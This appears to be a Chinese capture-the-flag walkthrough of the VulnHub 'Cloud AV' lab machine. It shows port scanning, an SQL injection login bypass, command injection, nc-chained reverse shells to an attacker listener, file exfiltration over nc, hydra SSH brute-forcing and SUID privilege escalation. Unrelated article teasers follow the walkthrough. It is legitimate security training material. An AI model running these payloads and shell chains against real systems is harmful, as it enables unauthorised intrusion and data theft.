草庐IT

第五次打靶

我想对你说 2023-03-28 原文

靶机介绍:

1)靶机地址:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/

2)难度级别:低

3)涉及攻击手段:端口扫描、WEB侦查、SQL注入、命令注入、密码爆破、代码审计、NC串联、本地提权

4)课程来源:https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0

打靶过程:

1)启动靶机,选择网络模式为仅主机模式,由此可确定靶机地址段为192.168.56.0/24

2)利用工具进行扫码仅主机网段192.168.56.0/24的存货主机,此处使用工具arping,不使用arp-scan,因为arp-scan更倾向于黑客工具,但是arping大部门主机都默认安装了,,适用性更强,但是arping无法对一段的网络进行一次性的主机发现,所以只能通过编写shell脚本的循环进行主机发现

# for i in $(seq 1 254);do sudo arping -c 2 192.168.56.$i;done 

当扫描到192.168.56.109时,该主机进行了回包,说明该IP地址即为靶机地址

3)对主机192.168.56.109进行全端口扫描:发现该主机开放了22端口和8080端口

# nmap -p- 192.168.56.109

4)对开发的端口进行服务版本的扫描:发现22端口使用的openssh服务版本为哦openssh7.6p1,8080端口使用的是httpd服务,而且服务端使用了werkzeug这个python开发的web框架,服务端使用了python2.7版本

 nmap -p22,8080 -sV 192.168.56.109

5)浏览器访问该主机的8080端口:发现该页面是一个云防病毒扫描的服务,首先需要输入邀请码(密码)才能正常登入进行系统后台,才能进行云服务查杀,即通过密码进行身份认证的过程。此时的攻击思路

①尝试利用程序在服务端代码上的逻辑漏洞,通过sql注入等方式绕过身份认证

②使用暴力破解等方式破解

浏览器:http://192.168.56.109:8080/

6)破解密码

①浏览器设置代理

②burp设置代理监听

③在网站输入框中任意输入字符,进行提交,抓取数据包

④将数据包发送至Intruder模式,对输入的字符串添加为变量,设置成数据的注入点,在payload中尝试输入键盘上所有的字符:因为无论在任何的语言和编程环境中,键盘上输入的符号,在不同的语言环境,往往都有特使的功能,当向一个数据的注入点注入了所有符号,如果这个位置上存在某种注入漏洞,一般就会出发服务器端代码上的问题,造成语法和语义上的歧义,从而使得服务器无法正常处理这写请求,最后通过触发这些漏洞,就有发现服务器端可能存在的注入漏洞。

⑤开始爆破后,发现当输入双引号时,返回的状态码和长度发生了变化

⑥通过查看报错发现,该页面返回了目标服务器文件系统的路径,同时在最后一行发现了一个sql语句:if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:

可以发现之前输入的双引号被拼接到了该语句中,使得sql语句语法报错

'select * from code where password="' + " + '&quit;'      #HTML转义
'select * from code where password=";' + " + '";'              #去掉单引号
 #服务端第一个双引号和第二个双引号进行了闭合,导致最后一个双引号没有闭合,使得服务端代码出现了语法错误
 select * from code where password="; + " + ";     
 select * from code where password="; + 123 + ";               #正常语句
 #构建payload,尝试在不知道邀请码情况下,进入系统
 select * from code where password="; + " or 1=1 --+ + ";      --+表示注释

7)SQL注入,输入语句后,正常登陆至系统

浏览器输入框: "or 1=1 --+

8)根据上述显示,猜测,当输入一个服务器中的文件名至输入框,点击扫描后,会将此请求提交至服务器,服务器会调用某种杀毒软件(如avscan)对该文件进行扫描,如avscan hello,也就意味着执行了类似的命令

9)如果服务端是按照上述方式执行的杀毒操作,在shell命令中,可以通过管道符等方式执行其他命令

浏览器输入框: cat | id

10)反弹shell,此处不使用python的反弹shell,使用nc进行反弹

①先判断目标主机有无nc命令

cat |wchic nc

②连接kali主机192.168.56.103的4444端口,并通过-e参数指定连接成功之后开启一个shell终端,发现kali虽然连接成功,但并没有接收到反弹的shell

浏览器输入:
	cat | nc 192.168.56.103 3333
kali:
	# nc -lvvp 3333 

因为有些服务器发行版本的nc命令版本,并没有-e参数,此时使用nc的串联

③先使用一个nc去连接kali中的一个监听端口3333,再使用管道将前面的结果输入给后面的/bin/bash进行解析,解析完成后再通过管道发送给kali中的另一个监听端口4444,此时发现,当在会话1输入的命令,执行结果将会在会话2显示出来

浏览器输入框:
	cat | nc 192.168.56.103 3333|/bin/bash|nc 192.168.56.103 4444
kali-会话1:
	# nc -lvvp 3333
kali-会话2:
	# nc -lvvp 4444

浏览器输入框输入内容:

kali-会话1:

kali-会话2:

11)通过上述发现,当前目标服务器存在一个database.sql的文件,通过对查看发现是一个SQLite 3.x 数据库文件,通过在目标主机执行sqlite命令发现,并没有什么回显,说明目标主机没有sqlite的执行环境

#file database.sql

12)将目标主机上的database.sql文件下载到kali本机

①在kali主机监听5555端口,将接受到的任何数据,重定向到db.sql

# nc -lvvp 5555 > db.sql

②在目标主机通过nc去连接kali主机的5555端口,并利用将database.sql传输过去

#nc 192.168.56.103 5555 < db.sql
# ls -l db.sql

13)此时即可在kali通过sqlite去执行该sql文件

# sqlite3
sqlite> .open db.sql                  #通过open命令打开sql文件,没有报错表示打开成功
sqlite> .database                     #打开当前加载的数据库文件
sqlite> .dump                         #把加载上来的数据库文件中的数据显示出来

14)通过查看sql文件发现,该数据库中文件只有一个表,且只有一个password字段,向该字段中导入了4个密码,此时可以尝试通过用户名和密码通过ssh进行登录

①先查看目标系统中,可以登录的用户有哪些

#cat /etc/passwd|grep /bin/bash

②将三个用户生成一个用户名字典

③将之前的密码生成一个字典

④通过hydra进行ssh密码暴力破解

# hydra -L user.txt -P password.txt ssh://192.168.56.109

通过ssh暴力破解,未破解出正确的用户名和密码

15)此时需要再次进行目标服务器信息搜集,在搜集过程中发现了update_cloudav、update_cloudav.c文件,根据后缀可知update_cloudav.c是源码文件,update_cloudav是可执行文件,并且还具有SUID权限,且用户属主是root

#cd ..
#pwd
#ls -l

16)通过查看update_cloudav.c源码文件,发现执行该文件,需要输入一个参数

17)通过SUID的特性,只要执行该文件,就会默认继承该文件属主的权限,即root权限

#./update_cloudav "a|nc 192.168.56.103 7777 | /bin/bash | nc 192.168.56.103 8888"

18)同时在kali主机分别监听7777、8888端口,此时在会话3输入命令,则会回显在会话4

会话3:
	# nc -lvvp 7777
会话4:
	# nc -lvvp 8888

有关第五次打靶的更多相关文章

  1. 【蓝桥系列】——十三届蓝桥杯PythonB组第五题E题蜂巢(AC代码) - 2

    大家好,我是普通小明,初入学习博客,一起加油! 首先,感谢小蓝刷题对我的鼓励,我也希望加入学习算法这个大家庭。第一篇文章,有些不完美,还请多多指教。目录(好像我并不会用锚点T-T)省赛心得蜂巢题解-思路点拨蜂巢题解-AC代码蜂巢题解-刷题总结未来展望省赛心得遗憾落幕十三届蓝桥PyB省赛,破灭了大一自学算法拿下国奖的传奇神话究其原因1、对算法过多理论而缺少实践,缺少刷题量。2、对算法的理解不够全面。3、对数论算法有所欠缺。立志1、一年时间完成蓝桥刷题系统过半题量。2、全面掌握各种算法,并且形成模板记忆。3、多看数学难题,提升思维转换能力。一、蜂巢题解-思路点拨个人主页有另一个更简单的解法读完题没

  2. 答案解析——第五届“传智杯”全国大学生计算机大赛(练习赛) - 2

    第五届“传智杯”全国大学生计算机大赛(练习赛)A[传智杯#5练习赛]复读题目描述给定若干个字符串,不定数量,每行一个。有些字符串可能出现了多次。如果读入一个字符串后,发现这个字符串以前被读入过,则这个字符串被称为前面相同的字符串的复读,这个字符串被称为复读字符串。相应的,每个首次出现的字符串就是非复读字符串。举个例子,abcdefabcabcabc第1,3,4,51,3,4,51,3,4,5行是字符串abc,那么3,4,53,4,53,4,5行的字符串会被称为“复读”。请你把所有的非复读字符串,按照行号从小到大的顺序,依次拼接为一个长串并输出。输入格式多个字符串,每行一个,含义见题目描述。注意

  3. 算法训练第五十天 | 123.买卖股票的最佳时机III、188.买卖股票的最佳时机IV - 2

    动态规划part11123.买卖股票的最佳时机III题目描述思路拓展188.买卖股票的最佳时机IV题目描述思路易错点123.买卖股票的最佳时机III题目链接:123.买卖股票的最佳时机III参考:https://programmercarl.com/0123.%E4%B9%B0%E5%8D%96%E8%82%A1%E7%A5%A8%E7%9A%84%E6%9C%80%E4%BD%B3%E6%97%B6%E6%9C%BAIII.html视频讲解:https://www.bilibili.com/video/BV1WG411K7AR题目描述给定一个数组,它的第i个元素是一支给定的股票在第i天的价格

  4. 【Java牛客&力扣刷题特辑第五期】——诸佬们这些坑你们都踩过了吗?牛客网经典笔试题目每天刷两道,快乐充实一整天 - 2

    ✨✨【Java牛客&力扣刷题特辑第五期】——诸佬们这些坑你们都踩过了吗?✔✨前言🎉🎉大家好!好久不见我是青花瓷,今天你刷题了吗?文章目录,从易到难,层层递进,如果每一道题都吃透,你一定会在做题方面有质的飞跃,关注我,一起学习算法,一起分享好的题型。博主将持续更新算法,大厂笔试题,经典算法题,易错题,如果觉得不错,点点赞支持一下,如果有错误的地方,欢迎指正✨✨下一期:算法篇之回溯算法作者介绍:🎓作者:偷偷敲代码的青花瓷✨👀作者的Gitee:代码仓库📌系列文章推荐:✨1.Java牛客&力扣刷题特辑第一期✨2.Java牛客&力扣刷题特辑第二期✨3.Java牛客&力扣刷题特辑第三期✨4.Java牛客&

  5. Verilog 学习第五节(串口发送部分) - 2

    小梅哥串口部分学习part1串口通信发送原理串口通信发送的Verilog设计与调试串口发送应用之发送数据串口发送应用之采用状态机实现多字节数据发送串口通信发送原理1:串口通信模块设计的目的是用来发送数据的,因此需要有一个数据输入端口2:串口通信,支持不同的波特率,所以需要一个波特率设置端口3:串口通信的本质就是将8位并行数据通过一根信号线,在不同的时刻传输并行数据的不同位,通过多个时刻,最终将8位并行数据全部传出4:串口通信以1位的低电平标志串行传输的开始,待8位数据传输完成之后,在1位的高电平标志传输的结束5:控制信号,控制并转串模块什么时候开始工作;什么时候一个数据发送完成?须有一个发送开

  6. 蓝桥杯嵌入式第五课--输入捕获 - 2

    前言输入捕获的考题十分明确,就是测量输入脉冲波形的占空比和频率,对我们的板子而言,就是检测板载的两个信号发生器产生的信号:具体来说就是使用PA15和PB4来做输入捕获。输入捕获原理简介输入捕获能够对输入信号的上升沿和下降沿进行捕获,并且记录下捕获时定时器的数值以及触发中断。借用一张图来阐明这个动作:边沿触发,产生捕获中断中断中读取当前的计数值CCR,并且将计数值清零退出中断因此通过计数值可以计算出高电平持续时间,这里面有一个溢出的问题,对于我们的信号发生器来说,其信号的频率比较高,计数器不会发生溢出,因此不需要考虑。根据功能分为两类:普通输入捕获(只能测频率)PWM输入模式(可以测频率和占空比

  7. 中台战略-第五章、中台建设方法论 - 2

    文章目录第五章、中台建设方法论5.1中台架构整体策略5.2业务顶层设计5.3业务中台设计方法论5.3.1能力支撑是基础5.3.2中心自治是承载形式5.3.33层模型是骨架5.3.45步法是指导思想1.业务抽象2.高阶设计3.组件建模4.开发交付5.持续运营5.4数据中台设计方法论5.4.1总体规划5.4.2数据集成5.4.3模型建设5.4.4通用研发5.4.5资产管理5.4.6数据服务5.5应用向

  8. 第五章 HFSS的边界条件 - 2

    1.概述在电磁场理论学习中我们知道,电磁场问题的求解都归结于麦克斯韦(Maxwell)方程组的求解。在HFSS中波动方程的求解同样是由微分形式的麦克斯韦方程推导出来的。而边界条件定义了求解区域的边界以及不同物体交界处的电磁场特性,是求解麦克斯韦方程的基础。只有在假定场矢量是单值、有界、并且沿空间连续分布的前提下,微分形式的麦克斯韦方程组才是有效的;而在求解区域的边界、不同介质的交界处和场源处,场矢量是不连续的,那么场的导数也就失去了意义。边界条件就是定义跨越不连续边界处的电磁场的特性,因此,正确地理解、定义并设置边界条件,是正确使用HFSS仿真分析电磁场场特性的前提。使用HFSS时,用户应该时

  9. 云计算学习笔记——第五章 网络虚拟化 - 2

    一、网络虚拟化简介1.什么是网络虚拟化  虚拟化是对所有IT资源的虚拟化,以此来提高物理硬件的灵活性以及利用效率。云计算中的计算和存储资源分别由计算虚拟化和存储虚拟化提供,而网络作为IT的重要资源也有相应的虚拟化技术,网络资源则是由网络虚拟化提供。网络是由各种设备组成,有传统的物理网络,还有运行在服务器上看不到的虚拟网络,而网络虚拟化的首要目标就是如何呈现和管理他们。  将物理网络虚拟出多个相互隔离的虚拟网络,从而使得不同用户之间使用独立的网络资源,提高网络资源的利用率,实现弹性的网络。VLAN就是一种网络虚拟化,在原有网络基础上通过VLANTag划分出多个广播域。网络虚拟化保障我们创建出来的

  10. php - 如何检查第五个和第六个字符是特定的两位数? - 2

    我想验证电话号码。唯一有效的电话号码是这样开头的:+3620|+3630|+3631|+3670我的代码看起来像这样,但现在您可以输入我想避免的+3621或+3671。如何检查两位数?比如70或30。$phone='+36701234567';if(preg_match('|^\+36[237][01][1-9][0-9]{2}[0-9]{2}[0-9]{2}$|',$phone)){echo'phonenumberisgood';} 最佳答案 如果你想要一些非常具体的数字:/^\+36(20|30|31).../如您所见,使用集合

随机推荐